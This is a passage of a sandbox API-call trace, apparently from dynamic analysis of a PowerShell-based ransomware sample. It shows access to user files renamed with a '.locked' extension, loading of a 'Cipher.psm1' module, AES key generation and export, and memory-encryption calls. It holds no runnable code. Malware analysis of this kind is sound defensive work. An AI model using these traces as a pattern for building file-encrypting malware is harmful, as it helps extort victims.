ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x17, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.842] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x16, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.842] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x17, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x17, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.844] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x17, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.844] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.844] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x18, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.844] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x17, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.844] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x18, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x18, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.845] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x18, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.845] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.845] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x19, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.845] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x18, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.845] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x19, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x19, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.847] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x19, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0135.848] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\ddv0vhbvkogusrdn0wqa.gif.locked"), fInfoLevelId=0x0, lpFileInformation=0x69d53fc | out: lpFileInformation=0x69d53fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x143097a8, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x143097a8, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x143097a8, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0xbfa4)) returned 1 [0135.849] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0135.849] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif.locked", lpFilePart=0x0) returned 0x69 [0135.849] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\ddv0vhbvkogusrdn0wqa.gif.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0135.849] GetFileInformationByHandle (in: hFile=0x858, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0135.849] CloseHandle (hObject=0x858) returned 1 [0135.854] GetConsoleOutputCP () returned 0x1b5 [0135.854] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.855] GetConsoleOutputCP () returned 0x1b5 [0135.855] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.855] GetConsoleOutputCP () returned 0x1b5 [0135.856] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.856] GetConsoleOutputCP () returned 0x1b5 [0135.856] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.856] GetConsoleOutputCP () returned 0x1b5 [0135.856] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.856] GetConsoleOutputCP () returned 0x1b5 [0135.857] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.857] GetConsoleOutputCP () returned 0x1b5 [0135.857] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.857] GetConsoleOutputCP () returned 0x1b5 [0135.858] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.858] GetConsoleOutputCP () returned 0x1b5 [0135.858] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.858] GetConsoleOutputCP () returned 0x1b5 [0135.858] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.858] GetConsoleOutputCP () returned 0x1b5 [0135.859] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.859] GetConsoleOutputCP () returned 0x1b5 [0135.859] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.859] GetConsoleOutputCP () returned 0x1b5 [0135.860] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.860] GetConsoleOutputCP () returned 0x1b5 [0135.860] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.860] GetConsoleOutputCP () returned 0x1b5 [0135.860] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.860] GetConsoleOutputCP () returned 0x1b5 [0135.861] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.861] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0135.861] GetConsoleOutputCP () returned 0x1b5 [0135.862] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0135.862] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0135.862] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x69fc654*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x69fc654*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0135.863] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0135.863] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0135.868] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x19, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.868] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.868] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.868] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0135.868] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.868] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.868] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.869] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0135.870] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0135.870] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.870] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.870] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.871] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x4396570) returned 1 [0135.872] CryptGenKey (in: hProv=0x4396570, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84bf8) returned 1 [0135.872] CryptContextAddRef (hProv=0x4396570, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.872] CryptExportKey (in: hKey=0x8e84bf8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0135.872] CryptExportKey (in: hKey=0x8e84bf8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6a05fb0, pdwDataLen=0x99ae894 | out: pbData=0x6a05fb0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0135.872] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\x5f40\x6a0\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667\x1200\x64b\x9e") returned 0x0 [0135.873] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.873] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.873] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.873] SysStringLen (param_1="") returned 0x8 [0135.873] SysStringLen (param_1="X") returned 0x8 [0135.873] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.873] SysStringLen (param_1="\x58d2\xfedb\x3224\x4fe\x24b7\xafd1\xd12c\xad95") returned 0x8 [0135.873] SysStringLen (param_1="\x58d2\xfedb\x3224\x4fe\x24b7\xafd1\xd12c\xad95") returned 0x8 [0135.873] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.874] SysStringLen (param_1="XE") returned 0x8 [0135.874] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.874] SysStringLen (param_1="\x26ba\xaa0b\x7ccc\x898f\xe18c\x7d5\xe41\x8e4a") returned 0x8 [0135.874] SysStringLen (param_1="\x26ba\xaa0b\x7ccc\x898f\xe18c\x7d5\xe41\x8e4a") returned 0x8 [0135.874] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.874] SysStringLen (param_1="XEN") returned 0x8 [0135.874] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.874] SysStringLen (param_1="\x1b8d\x66a5\xd679\xd307\xf3f0\x6489\xf7e3\xe485") returned 0x8 [0135.874] SysStringLen (param_1="\x1b8d\x66a5\xd679\xd307\xf3f0\x6489\xf7e3\xe485") returned 0x8 [0135.874] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.874] SysStringLen (param_1="XENP") returned 0x8 [0135.874] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.874] SysStringLen (param_1="\x910a\xcdd8\x306c\x716e\x6058\x8f95\x5f34\xef7") returned 0x8 [0135.874] SysStringLen (param_1="\x910a\xcdd8\x306c\x716e\x6058\x8f95\x5f34\xef7") returned 0x8 [0135.874] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.874] SysStringLen (param_1="XENPT") returned 0x8 [0135.874] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.874] SysStringLen (param_1="\x3b5f\xa0fe\xf061\x1e57\xc162\x553f\xa154\xcb09") returned 0x8 [0135.875] SysStringLen (param_1="\x3b5f\xa0fe\xf061\x1e57\xc162\x553f\xa154\xcb09") returned 0x8 [0135.875] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.875] SysStringLen (param_1="XENPTJ") returned 0x8 [0135.875] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.875] SysStringLen (param_1="\xae0d\x558b\x2c67\x59ac\x8294\x77d3\x28a4\x22da") returned 0x8 [0135.875] SysStringLen (param_1="\xae0d\x558b\x2c67\x59ac\x8294\x77d3\x28a4\x22da") returned 0x8 [0135.875] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.875] SysStringLen (param_1="XENPTJN") returned 0x8 [0135.875] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.875] SysStringLen (param_1="\xc044\x7299\xd006\x62cc\x188d\x5350\xc062\x92e8") returned 0x8 [0135.875] SysStringLen (param_1="\xc044\x7299\xd006\x62cc\x188d\x5350\xc062\x92e8") returned 0x8 [0135.875] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.875] SysStringLen (param_1="XENPTJN0") returned 0x8 [0135.875] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.875] SysStringLen (param_1="Y桼췊顶兏텔ݥ㙢") returned 0x8 [0135.875] SysStringLen (param_1="Y桼췊顶兏텔ݥ㙢") returned 0x8 [0135.875] SysStringLen (param_1="Y桼췊顶兏텔ݥ㙢") returned 0x8 [0135.876] SysStringLen (param_1="Y桼췊顶兏텔ݥ㙢") returned 0x10 [0135.876] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.876] SysStringLen (param_1="XENPTJN0x桖뺂饰閏엁䊞ڱ") returned 0x10 [0135.876] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.876] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x7c4d\x4fea\xd600\x9740\x2f71\x97cd\xf357\x5a58") returned 0x10 [0135.876] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x7c4d\x4fea\xd600\x9740\x2f71\x97cd\xf357\x5a58") returned 0x10 [0135.876] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.876] SysStringLen (param_1="XENPTJN0xx뺂饰閏엁䊞ڱ") returned 0x10 [0135.876] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.876] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\xf732\xfe92\x9707\x18b1\x251d\x29eb\xc7b5\x329b") returned 0x10 [0135.876] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\xf732\xfe92\x9707\x18b1\x251d\x29eb\xc7b5\x329b") returned 0x10 [0135.876] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.876] SysStringLen (param_1="XENPTJN0xxo饰閏엁䊞ڱ") returned 0x10 [0135.876] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.876] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x6032\x14d\xaddc\x6e0b\xceec\xed56\x6169\xfa2b") returned 0x10 [0135.876] SysStringLen (param_1="\x59\x687c\xcdca\x9876\x514f\xd154\x765\x3662\x6032\x14d\xaddc\x6e0b\xceec\xed56\x6169\xfa2b") returned 0x10 [0135.876] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.876] SysStringLen (param_1="XENPTJN0xxol閏엁䊞ڱ") returned 0x10 [0135.877] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.877] SysStringLen 